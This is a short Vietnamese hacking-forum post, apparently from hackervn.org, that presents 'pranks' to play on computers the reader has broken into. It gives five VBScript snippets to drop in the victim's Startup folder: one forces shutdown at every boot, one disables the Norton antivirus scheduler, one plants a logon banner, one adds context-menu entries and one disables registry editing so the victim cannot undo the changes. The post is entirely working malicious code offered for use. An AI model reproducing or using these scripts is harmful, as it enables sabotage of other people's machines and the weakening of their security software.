PHA MAY tính
Khi các bạn đột nhập được vào máy người khác, tại sao không đùa với họ một tí nhỉ ? Sau đây là một vài trò chơi do tôi nghĩ ra, bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau: 1.Trò chơi thứ nhất: không cho victim khởi động máy: Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows" 2.Trò chơi thứ hai: disable NAV( nếu có install) của họ: Dim wsh Set wsh= CreateObject( "WScript.Shell") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program Scheduler\Start" wsh.RegWrite s1,3, "REG_DWORD" 3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy: dim wsh Set wsh = CreateObject( "WScript.Shell" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" wsh.RegWrite s1+s2, "Hackervn.org" wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org" 4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder: set reg=createobject("WScript.shell") reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\","" reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\","Robinhood" 5.Trò chơi 5: trò chơi này đảm bảo cho các trò chơi trên có thể diễn ra "vui vẻ": disable Registry của victim: Dim objShell Set objShell = CreateObject( "WScript.Shell" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\" s2 = "Policies\System\DisableRegistryTools" objShell.RegWrite s1+s2,1, "REG_DWORD" Trên đây là 5 trò chơi "khá vui", thật ra còn nhiểu trò chơi khác nũa nhưng "nguy hiểm" cho victim nên thôi.